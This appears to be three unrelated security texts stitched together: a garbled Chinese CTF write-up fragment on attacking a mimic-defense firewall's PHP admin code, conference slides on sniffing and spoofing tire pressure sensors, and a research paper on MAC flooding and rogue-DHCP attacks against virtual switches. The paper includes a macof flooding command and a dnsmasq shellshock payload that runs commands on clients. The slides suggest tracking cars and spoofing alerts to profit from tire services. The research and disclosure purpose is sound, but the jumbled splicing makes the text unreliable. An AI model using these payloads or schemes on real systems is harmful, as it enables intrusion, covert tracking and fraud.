还需要添加策略组,然后再修改。由于我无法肯定问题出在了哪,所以我 一直试图想要看到这个策略修改页面,并正在为之努力。(我认为我应该是在正常的操作功能,不会触 发拟态扰动...) //添加策略 public function interviewAdd() {   if (getPrivilege("firewall") == 1) {       if($_POST['action1']!='') $param['action'] = formatpost($_POST['action1']);       if($_POST['enable']!='') $param['enable'] = formatpost($_POST['enable']);       if($_POST['log1']!='') $param['log'] = formatpost($_POST['log1']);       if($_POST['srcarea']!='') $param['srcarea'] = '\''.formatpost($_POST['srcarea'],false).'\'';       if($_POST['dstarea']!='') $param['dstarea'] = '\''.formatpost($_POST['dstarea'],false).'\'';       /*域名*/ /** * 获取权限模板,$module是否有权限 * @param string $module * @return int 1:有读写权限,2:读权限,0:没权限 */ function getPrivilege($module) {   if (!checkLogined()) {       header('location:' . $_COOKIE['urlorg']);   }   return ngtos_ipc_privilege(NGTOS_MNGT_CFGD_PORT, M_TYPE_WEBUI, REQ_TYPE_AUTH, AUTH_ID, NGTOS_MNGT_IPC_NOWAIT, $module); 校验url合法性,是否真实登录 function checkLogined() {   //获得cookie中的key   $key = $_COOKIE['loginkey']; //       debugFile($key);   //获得url请求中的authid //   $authid = $_GET['authid']; //       debugFile($authid);   //检查session中是否存在改authid和key   if (!empty($key) && $key == $_SESSION['auth_id'][AUTH_ID]) {       return true;   } else {       return false;   } } /* ps:这里膜@zsx和@超威蓝猫,因为我无法加载 jquery ,所以我看不到那个修改配置的页面是什么样 的,但 ROIS 直接用 js 获取页面内容渲染... 在仔细分析拟态的原理之后,我觉得如果这个功能可以被正常修改(在不被拟态拦截的情况下),那么 我们就肯定触发了所有的执行体(不可能只影响其中一台)。 那么我们反向思考过来,既然无法修改,就说明这个配置在裁决机背设置为白名单了,一旦修改就会直 接拦截并返回 500! 所以我们当时重新思考了拟态防火墙的结构...我们发现,因为Web服务作为防火墙的管理端,在防火墙 的配置中,至少应该有裁决机的 ip ,搞不好可以直接获取防火墙的 ip 。 这时候如果我们直接向后端ip构造socket请求,那么我们就能造成一次降维打击。 只是可惜,因为没有 system shell ,再加上不知道为什么蚁剑和菜刀有问题,我们只能花时间一个一个 文件去翻,结果就是花了大量的时间还没找到(远程的那份代码和我本地差异太大了),赛后想来,如果当 场写一个脚本说不定就保住第一了2333 关于拟态(这是刚刚的那个2019的文章 不是我的总结) 在几次和拟态防御的较量中,拟态防御现在的形态模式也逐渐清晰了起来,从最开始的测信道攻击、 ddos攻击无法防御,以及关键的业务落地代价太大问题。逐渐到业务逻辑漏洞的防御缺陷。 拟态防御本身的问题越来越清晰起来,其最关键的业务落地代价太大问题,在现在的拟态防御中,逐渐 使用放弃一些安全压力的方式来缓解,现在的拟态防御更针对倾向于组件级安全问题的防御。假设在部 分高防需求场景下,拟态作为安全生态的一环,如果可以通过配置的方式,将拟态与传统的Waf、防火 墙的手段相结合,不得不承认,在一定程度上,拟态的确放大了安全防御中的一部分短板。拟态防御的 后续发展怎么走,还是挺令人期待的。 主要是要学会拟态的思想,把这个拟态思想运用到各种想的到的,想不到的地方。 此外,拟态一直在迭代,一直在优化。不是一层不变的 其次我觉得拟态自身一定会有安全问题,这是不可避免的,但是他不开源啊,不开源也是为了拟态的安 全。存在战略性的一些事情吧,现在也很难接触到。 大概这么多,不太多总结,自己感受一下,如果我有表达不清楚的地方,欢迎各位师傅提问,或者我讲 错 和讲的不好的地方,希望各位师傅多多指点。谢谢 作者:k0njacccc email:[email protected] 后面会附带一个读到有意义的文献压缩包。
pdf
Letting the Air Out of Tire Pressure Monitoring Systems Mike Metzger - Flexible Creations mike@flexiblecreations.com 1 History • Porsche - First implemented on the 959 in 1986 (Thanks Wikipedia) • A bunch of various styles used in luxury cars • TREAD act - Basically, the Firestone / Ford Explorer problems in the 90’s instigated legislation mandating use 2 TPMS Types • Direct - This is used in most vehicles • Battery / Battery-less • Indirect - Uses ABS and various calculations instead of a sensor • Focus on battery-powered Direct TPMS 3 Direct TPMS Description • Typically 4 sensors, possibly 5 w/ spare, mounted on wheel (behind the valve stem) • Receiver is built into car, often collocated with the keyless entry components • Car ECU / PCM processes info - behaves differently depending on car 4 Annoying TPMS Light 5 Sensor Description • Most are a combination of an ASIC (ie, a microcontroller - Atmel / Freescale / Microchip, etc), a pressure sensor, and some RF components • Typically part of the valve stem and sits in a recessed area of the rim, inside the tire • RF transmits in 315MHz band (US) or 433MHz (EU) 6 Sensor Description • Can be woken up by: • Rotation • Low frequency transmission (125kHz - modulated or continuous) • Magnets • Transmission system varies by manufacturer but is typically once per minute unless there’s a problem (meaning, significant pressure variation) • Transmissions can overlap, requiring retransmits 7 Sensor Internals • Siemens VDO (From a Mazda 3, 6, or RX-8) • Uses an ATMEL AT092 chip (4-bit microprocessor) • A MEMS style pressure sensor • Simple RF transmission components • Battery (CR2302) • Assorted passive components 8 Before... 9 During... 10 After... 11 And then... • A discovery... • http://www.fcc.gov/oet/ea/fccid/ • Enter in the Grantee & Product code 12 FCC Testing Documents 13 Including... • Spectrum Analyzer output • General description of operation • Often a build of materials • etc... • But how to find all the FCC IDs? 14 eBay... 15 Receiver Description • Typically in trunk or behind glove box • May have multiple receiver elements • Receiver will typically remember 4-10 sensors at once (summer, winter wheels) • Most require special tools / operations to go in “Learning Mode” 16 Sensor RF Details • Varies considerably based on sensor • Using a Siemens VDO FE01-37140 • Uses a combination of ASK/FSK transmission • 12 pulses of ASK “wakeup” • 3 pulses of FSK transmission containing actual sensor data • Repeats 1/min over 20mph, or every 5s with pressure problem 17 Sensor Transmission Details • Each transmission consists of pressure level, battery level, and... • A sensor ID (which exists to identify each wheel) • BUT - the ID is usually way too precise - 32-108 bits • Encoded, but completely unencrypted • Combine w/ 4-5 sensors per car and it’s very easy to identify a car by tires alone 18 Dealer / Tire Repair Shop Tools • “Universal” tools - Cost from $150-$3000 • Can usually generate the 125kHz signals to activate most TPMS • Often contain a special “tool”, aka a magnet, to activate older ones • Upscale models will decode transmissions based on make, model, year, etc. • Others simply indicate reception of signal 19 DIY Tools • Didn’t want to overpay for ridiculous tools • Some practical, some nefarious purposes • Based on commodity parts 20 DIY Receiver • Mostly complete • RF receiver element (C1110, Microchip options, etc) • Arduino for simplicity, but could be any given chip • LCD Display (if needed) • Magnet & 125kHz transmitter • Open source & database for transmission methods 21 Using Receiver • Can store multiple IDs • Great for CarPCs for vehicles with limited TPMS (ie, RX8 says it’s low, but not which one or by how much) • Easy way to verify TPMS sensors • Walk around parking lot and get TPMS IDs of interesting vehicles 22 DIY Transmitter • Still in development • Not really a TPM sensor, rather a spoofer • RF Transmitter element • Arduino again for simplicity, could be reduced to any given RF chip (ie, RFPIC) • Also open & database of transmission 23 Using Transmitter... • Certain wheels cannot accept TPM sensors. Use transmitter to send expected TPMS IDs • Get IDs then send spoofed messages confusing the ECU (ie, low pressure, high pressure, etc) • Near a stoplight, setup a sensor with a good antenna to grab the IDs/Formats of TPM sensors nearby. Setup deal with nearby service station / car dealer for cut of tire related services. Send out spoofed messages... 24 More ideas... • Setup a network of receivers tied to loggers at given locations and track interesting vehicles going nearby • Start fuzzing the TPM formats and see what it does to various ECUs (Remote Exploit...?) 25 Future • Need to drastically build out the database for TPM communication formats • Ideally build a single device capable of acting in send / receive configuration 26 Thanks & References • Ed Paradis: Dallas Makerspace & radio transmission ideas • Travis Goodspeed: GoodFET, software fix & IM-ME flashing guide • Michael Ossmann: IM-ME Spectrum Analyzer • Barrett Canon: First blog regarding idea of TPMS tracking (April 08) 27
pdf
Exploring Layer 2 Network Security in Virtualized Environments Ronny L. Bull, Jeanna N. Matthews Wallace H. Coulter School of Engineering Clarkson University Potsdam, NY 13699 Email: {bullrl, jnm}@clarkson.edu Abstract—Cloud service providers offer their customers the ability to deploy virtual machines in a multi-tenant environment. These virtual machines are typically connected to the physical network via a virtualized network configuration. This could be as simple as a bridged interface to each virtual machine or as complicated as a virtual switch providing more robust networking features such as VLANs, QoS, and monitoring. In this paper, we explore whether Layer 2 network attacks that work on physical switches apply to their virtualized counterparts by performing a systematic study across four major hypervisor environments - Open vSwitch, Citrix XenServer, Microsoft Hyper-V Server and VMware vSphere - in seven different virtual networking configurations. First, we use a malicious virtual machine to run a MAC flooding attack and evaluate the impact on co-resident VMs. We find that network performance is degraded on all platforms and that it is possible to eavesdrop on other client traffic passing over the same virtual network for Open vSwitch and Citrix XenServer. Second, we use a malicious virtual machine to run a rogue DHCP server and then run multiple DHCP attack scenarios. On all four platforms, co-resident VMs can be manipulated by providing them with incorrect or malicious network information. Keywords—Virtualization, Networking, Network Security, Cloud Security, Layer 2 Attacks. I. INTRODUCTION With the growing popularity of Internet-based cloud service providers, many businesses are turning to these services to host their mission critical data and applications. Cloud customers often deploy virtual machines to shared, remote, physical com- puting resources. Virtual machines running in cloud capacity are connected to the physical network via a virtualized network within the host environment. Typically, virtualized hosting environments will utilize either a bridged network interface or a virtualized switch such as Open vSwitch[1], [2] for Xen and KVM based environments, or the Cisco Nexus 1000V Series virtual switch for VMware vSphere environments[3]. These virtual switches are designed to emulate their physical counterparts. It is important for users of multi-tenant cloud services to understand how secure their network traffic is from other users of the same cloud services, especially given that VMs from many customers share the same physical resources. If another tenant can launch a Layer 2 network attack and capture all the network traffic flowing from and to their virtual machines, this poses a substantial security risk. By understanding which virtual switches are vulnerable to which attacks, users can evaluate the workloads they run in the cloud, consider additional security mechanisms such as increased encryption and/or increased monitoring and detection of Layer 2 attacks. In this paper, we present the results of a systematic study to evaluate the effects of MAC flooding and DHCP attacks across four major hypervisor environments with seven different virtual network configurations. First, we provide some background information on the general network configuration options available to virtualized environments. We then intro- duce the test environment, and present our attack methodology using Media Access Control (MAC) and Dynamic Host Con- figuration Protocol (DHCP) attack scenarios. We conclude the paper by discussing related work and summarizing our results. II. NETWORK CONFIGURATION OPTIONS There are two types of networking configurations that are typically used in virtualized environments; bridging and switching. In this section we describe both options and discuss how each one is applied within a virtualized network. A. Bridging Bridged mode is the simplest of configurations providing an interface dedicated to virtual machine use. A bridge con- nects two or more network segments at Layer 2 in order to extend a broadcast domain and separate each of the segments into their own individual collision domains[4]. A forwarding table[4], [5] is used to list the MAC addresses associated with devices located on each network segment connected to the bridge (Figure 1). Requests are forwarded based upon contents of this table and the destination MAC address located in the Ethernet frame. A frame is forwarded across the bridge only if the MAC address in the destination block of the frame is reachable from a different segment attached to the bridge. Otherwise, the frame is directed to a destination address located on the same segment as the transmitting device or dropped. In virtualized environments, guest machines utilize user- space virtual network interfaces that simulate a Layer 2 net- work device in order to connect to a virtual bridge. Typically, the virtual bridge is configured and bound to a physical interface on the host machine that is dedicated solely to virtual machine traffic. Fig. 1. A basic bridge using a forwarding table to pass requests between two network segments. B. Switching Physical switches have the capability of operating at Layer 2 or higher of the OSI model. Switches can be thought of as multi-port bridges[4] where each port of the switch is con- sidered as its own isolated collision domain. Instead of a for- warding table, switches employ a CAM (content addressable memory) table[4] . Content addressable memory is specialized memory hardware located within a switch that allows for the retention of a dynamic table or buffer that is used to map MAC addresses of devices to the ports they are connected to (Figure 2). This allows a switch to intelligently send traffic directly to any connected device without broadcasting frames to every port on the switch. The switch reads the frame header for the destination MAC address of the target device, matches the address against its CAM table, then forwards the frame to the correct device. The use of a CAM table and the separation of collision domains are key factors in preventing eavesdropping of network traffic between devices connected to the switch. However, a physical switch is an embedded device and has a finite amount of memory available to its CAM table, once it is used up the switch can no longer dynamically add to its buffer. If a MAC address is not found in the CAM table, a packet destined for it will be sent to all interfaces. The majority of physical switches in use today employ CAM chips that are capable of holding up to 32,000 addresses[4] which can easily be saturated by a single MAC flooding attack in a very short amount of time. Virtual switches emulate their physical counterparts and are capable of providing features such as VLAN traffic separation, performance and traffic monitoring, as well as quality of service (QoS) solutions. Virtual machines are connected to a virtual switch by the way of virtual network interfaces (VIF) that are similar to the Layer 2 network devices used in conjunction with virtual bridges. III. TEST ENVIRONMENT In this section, we provide details about the test envi- ronment that was created which consisted of seven server class systems all located on a test network isolated from local production networks to avoid impacting them. We deployed an optimized installation of Gentoo Linux and the Xen 4.3 hypervisor to three Dell PowerEdge 860 servers each equipped Fig. 2. A switch and its CAM table. with a dual core Intel Xeon 3050 2.13GHz processor, 4 GB of memory, and a 500 GB hard drive. Each system contained dual Broadcom NetXtreme BCM5721 Gigabit Ethernet PCI Ex- press network interface cards integrated into the motherboard. The first network interface was dedicated to the privileged control domain on each server for administrative functions, and the second configured to be utilized by guest virtual machines. Each sever’s 500 GB hard disk was divided into four partitions; a 100MB ext3 /boot, a 10GB ext3 /, a 2GB swap, with the remainder allocated to LVM storage for virtual machine deployment. Four additional servers were configured with enterprise level hypervisor solutions; Citrix XenServer 6.2, Microsoft Windows Server 2008 R2 with the Hyper-V hypervisor, Mi- crosoft Hyper-V 2008 (free edition), and VMware vSphere (ESXi) 5.5 (free edition). The hardware utilized for the Citrix XenServer 6.2 system was identical to the three Gentoo systems, however the Microsoft Hyper-V and the VMware vSphere hypervisors were configured on systems with different hardware configurations due to a lack of additional Dell Pow- erEdge 860 systems. Both Microsoft Windows Server 2008 R2 along with the Hyper-V hypervisor as well as the free version of Hyper-V 2008 were installed to identical Dell PowerEdge 2950 server systems containing dual quad core Intel Xeon 5140 processors at 2.33GHz, 32GB of memory, and a 145GB SATA hard drive. VMware vSphere (ESXi) 5.5 (free edition) was deployed to a custom built server using a Supermicro X9SCL server motherboard, a quad core Intel Xeon E3-1240 processor at 3.30GHz, 24GB of memory, and a 500GB SATA hard drive. The Hyper-V and vShpere systems were each outfitted with two network adapters in order to provide separate dedicated interfaces for administrative purposes and virtual machine use. Though there are notably some variations in the hardware configurations summarized in Table I, it is important to note that these differences had no impact on the results of the experiments that were performed. For the MAC flooding scenario, two virtual machines were deployed to each virtualization platform, one of which was setup as a malicious client attempting to eavesdrop on the traffic of other tenant virtual machines (Figure 3). The Kali Linux security distribution[6] was selected due to the plethora TABLE I. SUMMARY OF TEST ENVIRONMENT HARDWARE. Hardware Specs CPU Memory Hard NICs Platform Type Size Disk OS Xen w/ Linux Bridging Xeon 3040 4 GB 500 GB 2 OS Xen w/ Open vSwitch 1.11.0 Xeon 3040 4 GB 500 GB 2 OS Xen w/ Open vSwitch 2.0.0 Xeon 3040 4 GB 500 GB 2 Citrix XenServer 6.2 Xeon 3040 4 GB 500 GB 2 MS Server 2008 R2 w/Hyper-V Xeon 5140 32 GB 145 GB 2 MS Hyper-V 2008 Free Xeon 5140 32 GB 145 GB 2 VMware vSphere (ESXi) 5.5 Xeon E3-1240 24 GB 500 GB 2 of network security auditing tools that come pre-installed and configured. Two complete installations of Kali were installed to each server on 20GB LVM partitions as HVM guests. The systems were then allocated static IP addresses that positioned them on the same isolated subnet as the servers and were completely updated. Fig. 3. A malicious virtual machine located on a multi-tenant virtual network. The DHCP attack testing required a more elaborate setup. It was necessary to create four new virtual machines within each hypervisor platform in order to setup scenarios to conduct the experiments. Each new machine was created based upon a minimal installation of CentOS 6.5[7], and configured for a specific purpose (Table II). TABLE II. NEW VIRTUAL MACHINES ADDED TO EACH HYPERVISOR PLATFORM FOR LAYER 2 DHCP ATTACK TESTING. Operating Completely System Virtual System Updated Purpose Interfaces CentOS 6.5 Yes DHCP/DNS Server 1 CentOS 6.5 Yes Simple Router 2 CentOS 6.5 Yes HTTP Server 1 CentOS 6.5 No Left Vulnerable to ShellShock 1 A virtual machine acting as a rogue DHCP server was setup and configured using DNSMasq[8] a lightweight DHCP and DNS server. It was also necessary to create a simple router using iptables[9] on a separate virtual machine in order to forward traffic between two broadcast domains using NAT and two network interfaces. A basic Apache[10] web server was setup on a third virtual machine to act as a malicious web server, and the final machine was configured as a minimal client that was left unpatched and vulnerable to shellshock[11]. IV. ATTACKS PERFORMED Two Layer 2 networking attack categories were explored and thoroughly tested across all platforms; MAC flooding and DHCP attacks. Each attack simulation was performed identically on all platforms in order to analyze the differences between the environments when subjected to the different attack scenarios. A. MAC Flooding The most common Layer 2 Media Access Control attack is a MAC flooding attack in which the attacker generates many packets with random MAC addresses in an attempt to overflow the (CAM) buffer within a switch and thus force the switch into a mode in which it broadcasts packets on all interfaces. This happens because the legitimate MAC addresses are evicted from the CAM table in favor of the many random MAC addresses generated by the attacker. This is referred to as hub mode and when a switch is operating in hub mode, the inherent separation of collision domains is broken and all frames passing through the switch are forwarded to all connected devices. This allows for passive eavesdropping of all traffic passing through the device. MAC flooding can be mitigated by enforcing port security on physical switches which imposes a limit on the amount of MAC addresses that can send traffic to a specific port[12]. This feature is not implemented within the majority of the virtual switches available today rendering them vulnerable to MAC flooding attacks. The program macof from the dsniff package[13] was used on a Kali virtual machine to perform a MAC flooding attack on the virtual network within each test environment. This type of attack when performed on a physical switch typically causes the CAM table on the switch to fill up forcing the device to go into a fail safe or hub mode which in turn causes all packets on the network to be broadcast to every node connected to the switch. Wireshark was used to determine if the attack was successful by monitoring the network for HTTP traffic which should not be intercept-able by other hosts on the virtual network. All tests were conducted in the same manner. Each server had two Kali Linux virtual machines deployed on them. For testing purposes both virtual machines were brought online. On the first virtual machine (Kali1) macof was started up using the command: macof -i eth0 and left to run. Then Wireshark was started on the same virtual machine and an HTTP filter was applied to only display sniffed HTTP traffic. The second Kali virtual machine (Kali2) was then used to surf the web. If the attack proved to be successful then the HTTP traffic from Kali2 should be viewable in Wireshark on Kali1. 1) Bridged Interface: Running the attack within the bridged virtual network test environment resulted in a signif- icant performance degradation that impacted the usability of the tenant virtual machines, essentially creating a denial of service (DoS) type of attack. This effect was observed as a large increase in latency when attempting to interact with any of the virtual machines on the system either through SSH or VNC. While the MAC flooding attack was occurring remote connections to the virtual machines became unstable due to the saturation of the virtual network with spoofed frames. This effect was quantified by using the ping utility on the second virtual machine to measure the transmission latency to a server located on the physical network while the attack was occurring (Figure 4). The attack however did not result in the ability to sniff other virtual machine traffic passing over the interface. This most likely comes from the fact that the standard bridge interface is missing the CAM table that typically is found on switches mapping known MAC addresses to switch ports, an essential element of the attack. Fig. 4. Latency measured using the ping utility on a bridged virtual network during a MAC flooding attack. The attack was launched at ICMP request 61 and terminated at ICMP request 241. 2) Open vSwitch 1.11.0 Interface: When running the attack on the Open vSwitch 1.11.0 virtual network test environ- ment not only was the same level of network performance degradation observed, but the attacking machine could also successfully sniff traffic from another tenant machine. Figure 5 depicts the results of the successful attack and provides substance to the claim that virtual switches are vulnerable to some of the same Layer 2 attacks as physical switches. Fig. 5. A malicious virtual machine running macof on an Open vSwitch virtual network and successfully sniffing HTTP traffic with Wireshark from another tenant virtual machine. 3) Open vSwitch 2.0.0 Interface: Running the attack on the latest version of Open vSwitch available at the time of this research revealed that the vulnerability still existed and had not been addressed. The system responded in the same way as the previous two attempts and the other tenant’s HTTP traffic was view-able in Wireshark. 4) Citrix XenServer 6.2: Citrix XenServer 6.2 utilizes an older version of Open vSwitch (version 1.4.6) to provide vir- tual switching services to its client machines. When the MAC flooding test was attempted in the XenServer environment, it was also discovered that the flooding was able to escape the virtual environment which caused all upstream physical switches to go into hub mode as well. Not only did this allow the malicious virtual machine running Wireshark to sniff traffic from other tenant virtual machines, it also was able to eavesdrop on traffic from physical machines located within the same broadcast domain to which the physical Ethernet adapter was connected. 5) Microsoft Hyper-V Server 2008 R2: Testing under the Microsoft Hyper-V environment was performed both with and without the Windows Firewall service enabled to identify if there was any affect on the results. Both scenarios proved to be unsuccessful due to the fact that Microsoft Windows Server 2008 R2 provides some minimal protection for virtualized network traffic, this includes protection against MAC address spoofing[14]. Further testing was performed on the free version of Microsoft Hyper-V to see if the protection offered by Server 2008 R2 is also built into the bare metal product. As with the previous environment testing was performed both with and without the Windows Firewall service enabled. It was concluded that under both conditions the free version of Microsoft Hyper-V 2008 was also unaffected by the MAC flooding attack since it is built upon a minimal version of Microsoft Windows Server 2008 R2 entitled Server Core. The Core version of Microsoft Server 2008 R2 still provides the same level of network protection as the full version, but only allows for the installation of specific server roles to the operating system[15], in this case the Hyper-V hypervisor. 6) VMware vSphere (ESXi) 5.5 - free edition: All testing within the VMware vSphere environment was performed iden- tically to the previous trials for completeness. Testing was performed on the free version of ESXi using the default virtual networking configuration. The results show that this particular configuration was not vulnerable to the MAC flooding attack in terms of a malicious user being able to eavesdrop on another tenant’s network traffic. Due to the VMware end user license agreement[16] we are prevented from publishing any of the performance related results that were observed during the test. 7) Summary of MAC Flooding Results: It can clearly be seen from the results summarized in Table III that any virtualized network environment built upon the Open vSwitch virtual switch could be vulnerable to MAC flooding attacks, and has the potential to expose its client traffic to eavesdrop- ping. Therefore, if a virtual machine is transmitting sensitive information over a virtual network that uses Open vSwitch precautions should be taken such as using encryption in order to ensure that the information in transit remains confidential. TABLE III. MAC FLOODING ATTACK RESULTS ACROSS SEVEN TEST ENVIRONMENTS. 3INDICATES THE PLATFORM WAS AFFECTED. Results of Attack Eavesdropping Impacted Platform Allowed Performance OS Xen w/ Linux Bridging 3 OS Xen w/ Open vSwitch 1.11.0 3 3 OS Xen w/ Open vSwitch 2.0.0 3 3 Citrix XenServer 6.2 3 3 MS Server 2008 R2 w/Hyper-V 3 MS Hyper-V 2008 Free 3 VMware vSphere (ESXi) 5.5 N/A It should also be noted that in February of 2015 we notified the Open vSwitch security team of our discovery. They confirmed the vulnerability and immediately responded with a patch[17], [18] to resolve the issue. Since then the patch has been merged into every major branch of Open vSwitch from 2.0.0 on[19]. With that stated, it is important to recognize that at this time the current virtual switch implementation in Citrix XenServer has not been updated to a patched version of Open vSwitch. It is our recommendation that any environment running any version of Open vSwitch prior to the patched version of the 2.0.0 branch should be upgraded immediately, since both the vulnerability and exploitation technique have been made public. B. DHCP Attacks In order to perform a Layer 2 DHCP attack, an attacker must place a rogue DHCP server on a network in hopes that clients in the broadcast domain associate with it rather than the legitimate DHCP server. Once a client receives an IP address lease from a malicious DHCP server under an attacker’s control, that client could also be seeded with the IP address of a poisoned DNS server, an incorrect default gateway, or be forced to run malicious code. This type of attack could also cause DoS situations where duplicate addressing occurs on the network causing the resources bound to those addresses to be inaccessible, or allow for the execution of man- in-the-middle attacks where traffic is first sent to an attacker and then onto the original destination. These attacks can be mitigated by enforcing static addressing, or by employing DHCP snooping on physical switches as well as DHCP server authorization within Active Directory environments. Four different attack scenarios were duplicated across each of the seven test environments in order to evaluate the impact of these Layer 2 DHCP attacks. In the first scenario, the DNSMasq server was setup to pass option 100 to clients which was configured to leverage the shellshock exploit in order to remotely execute the echo command with root privileges on the target machine and place text into a file in /tmp. The following code was placed into the /etc/dnsmasq.conf file on the DHCP server as a proof of concept to illustrate the vulnerability without damaging the client system. dhcp-option-force=100,() { :; }; /bin/echo \\ ’Testing shellshock vulnerability’>/tmp/shellshock_test For the second scenario, the DNSMasq server was used to seed the minimal shellshock client with a poisoned DNS server through DHCP. Since DNSMasq also provides DNS server functionality the rogue DHCP server doubled as the poisoned DNS server that was passed to clients receiving addresses. The DNS server was setup to direct all traffic destined to www.gmail.com to be redirected to the malicious web server (Figure 6). A command line web browser called elinks[20] was then used in the shellshock virtual machine to visit www.gmail.com in order to observe the effect. Lastly, the DHCP server was configured to pass a bad default gateway address to clients that obtained their network configuration from it. First, it was set to pass 1.1.1.1 as the default gateway with the intention of causing a DoS attack for access of subnets outside of the existing broadcast domain. Second, the DHCP server was configured to point clients to the second virtual machine that was setup as a router to direct Fig. 6. Presence of a poisoned DNS server on a network whose address is provided to clients associated with a rogue DHCP server. traffic to a malicious honeynet (Figure 7). This in conjunction with a poisoned DNS server allows the attacker to direct traffic to malicious servers setup within the honeynet. In each case, the previously used web server was placed in the honeynet, and a DNS entry was setup to direct traffic to it through the rogue default gateway. Fig. 7. Malicious virtual machine configured as a router on a network whose address is provided to clients as a default gateway when associated with a rogue DHCP server. 1) Summary of DHCP Attack Results: Table IV illustrates the results of all four DHCP attack scenarios that were run within each test environment. In all of the environments we tested, there was no protection provided against the attacks in their default configurations. TABLE IV. DHCP ATTACK SCENARIO RESULTS ACROSS SEVEN TEST ENVIRONMENTS. 3INDICATES A SUCCESSFUL ATTACK. Attack Scenarios Shell Poisoned Invalid Malicious Platform Shock DNS DG DG OS Xen w/ Linux Bridging 3 3 3 3 OS Xen w/ Open vSwitch 1.11.0 3 3 3 3 OS Xen w/ Open vSwitch 2.0.0 3 3 3 3 Citrix XenServer 6.2 3 3 3 3 MS Server 2008 R2 w/Hyper-V 3 3 3 3 MS Hyper-V 2008 Free 3 3 3 3 VMware vSphere (ESXi) 5.5 3 3 3 3 V. RELATED WORK There has already been a substantial amount of work study- ing the vulnerability of physical networks to Layer 2 attacks [13], [21], [22], [23], but the impact on virtual networks has not received as much attention. This is beneficial in the fact that published research previously performed on physical networks can serve as a model for testing in virtual environments and comparisons can be made based upon the physical baselines. For instance, Yeung et al.[13] provide an overview of the most popular Layer 2 networking attacks as well as descriptions of the tools used to perform them. This work was very helpful in identifying possible attack vectors that could be emulated within a virtualized environment. Altunbasak et al.[21] also describe various attacks that can be performed on local and metropolitan area networks, as well as the authors’ idea of adding a security tag to the Ethernet frame for additional protection. Cisco also published a white paper[22] regarding VLAN security in their Catalyst series of switches. The paper discloses testing that was performed on the switches in August of 2002 by an outside security research firm @stake which was acquired by Symantec in 2004. In the white paper, they discussed many of the same attacks that were mentioned by Yeung et al.[13], however the authors also went into detail about best practices and mitigation techniques that could be implemented on the physical switches in order to prevent the attacks from being successful. VI. FUTURE WORK Going forward, we intend to evaluate other Layer 2 net- working attacks within these environments as well as develop mitigation techniques and hardening strategies that will con- tribute to an increased level of network security in virtualized environments. We also are especially interested in working with cloud service providers to assess the vulnerability of their platforms to these attacks. Understandably, it is unac- ceptable to run such experiments without the permission and cooperation of the cloud service provider. We hope that these results highlight that users should have the right to ask cloud service providers to document what additional defenses - either prevention or detection - if any they are providing to protect users from these types of attacks on their systems. VII. CONCLUSION This study demonstrates the degree to which virtual switches are vulnerable to Layer 2 network attacks. The Layer 2 vulnerabilities described in this paper are directed towards the virtual networking devices and not the hypervisor and without additional mitigation or preventive measures, could be performed on any host running a virtual switch including in a multi-tenant environment. Further study is necessary in order to perform a full Layer 2 security assessment on the state of virtual networking devices. The information could then be used to develop hardening and mitigation techniques focused on securing virtual networks against common Layer 2 networking threats. In their current state, virtual switches pose the same liability as their physical counterparts in terms of network security. One malicious virtual machine performing a MAC flooding attack against the virtual switch could be able to sniff all traffic passing over that virtual switch, potentially compromising the confidentiality, integrity, and availability of co-located clients. REFERENCES [1] J. Pettit, J. Gross, B. Pfaff, M. Casado, and S. Crosby, “Virtual switching in an era of advanced edges,” in ITC 22 2nd Workshop on Data Center - Converged and Virtual Ethernet Switching (DC-CAVES), 2010. [2] B. Pfaff, J. Pettit, T. Koponen, K. Amidon, M. Casado, and S. Shenker, “Extending networking into the virtualization layer,” in HotNets-VIII, 2009. [3] Cisco Systems, Inc. Cisco nexus 1000v series switches for vmware vsphere data sheet. [Online]. Available: http://www.cisco.com/en/US/ prod/collateral/switches/ps9441/ps9902/data sheet c78-492971.html [4] R. Seifert and J. Edwards, The All-New Switch Book. Indianapolis, Indiana: Wiley Publishing, Inc., 2008. [5] LAN MAN Standards Committee, IEEE Standard for Local and Metropolitan Area Networks: Media Access Control (MAC) Bridges. New York, NY: The Institute of Electrical and Electronics Engineers, Inc., 2004. [6] Kali Linux. The most advanced penetration testing distribution, ever. [Online]. Available: http://www.kali.org/ [7] CentOS. The centos project. [Online]. Available: http://www.centos.org [8] thekellys.org. Dnsmasq - network services for small networks. [Online]. Available: http://www.thekelleys.org.uk/dnsmasq/doc.html [9] P. N. Ayuso, P. McHardy, J. Kadlecsik, E. Leblond, and F. Westphal. The netfilter.org project. [Online]. Available: http://www.netfilter.org [10] The Apache Software Foundation. The apache software foundation. [Online]. Available: http://www.apache.org [11] National Vulnerability Database. Vulnerability summary for cve-2014- 6271. [Online]. Available: http://web.nvd.nist.gov/view/vuln/detail? vulnId=CVE-2014-6271 [12] Cisco Systems, Inc. Catalyst 6500 release 12.2sx software configuration guide. [Online]. Avail- able: http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ ios/12-2SX/configuration/guide/book/pref.html [13] K.-H. Yeung, D. Fung, and K.-Y. Wong, “Tools for attacking layer 2 network infrastructure,” in IMECS ’08 Proceedings of the International MultiConference of Engineers and Computer Scientists, 2008, pp. 1143– 1148. [14] Microsoft. Hyper-v virtual switch overview. [Online]. Available: http://technet.microsoft.com/en-us/library/hh831823.aspx [15] ——. What is server core? [Online]. Available: http://http://msdn. microsoft.com/en-us/library/dd184075.aspx [16] VMware Inc. Vmware vsphere end user license agreement. [Online]. Available: http://www.vmware.com/download/eula/esxi50 eula.html [17] B. Pfaff, R. Bull, and E. Jackson. mac-learning: Im- plement per-port mac learning fairness, openvswitch/ovs - github. [Online]. Available: https://github.com/openvswitch/ovs/ commit/2577b9346b9b77feb94b34398b54b8f19fcff4bd [18] B. Pfaff. [ovs-dev][patch] mac-learning: Implement per-port mac learning fairness. [Online]. Available: http://openvswitch.org/pipermail/ dev/2015-February/051201.html [19] ——. [ovs-dev][patch] mac-learning: Implement per-port mac learning fairness. [Online]. Available: http://openvswitch.org/pipermail/dev/ 2015-February/051228.html [20] ELinks. Elinks full-featured text www browser. [Online]. Available: http://www.elinks.or.cz [21] H. Altunbasak, S. Krasser, H. L. Owen, J. Grimminger, H.-P. Huth, and J. Sokol, “Securing layer 2 in local area networks,” in ICN’05 Proceedings of the 4th international conference on Networking - Volume Part II, 2005, pp. 699–706. [22] Cisco Systems, Inc. Vlan security white pa- per [cisco catalyst 6500 series switches]. [Online]. Available: http://www.cisco.com/en/US/products/hw/switches/ps708/ products white paper09186a008013159f.shtml#wp39211 [23] K. Lauerman and J. King. Stp mitm attack and l2 mitigation techniques on the cisco catalyst 6500. [Online]. Available: http://www.cisco.com/c/en/us/products/collateral/switches/ catalyst-6500-series-switches/white 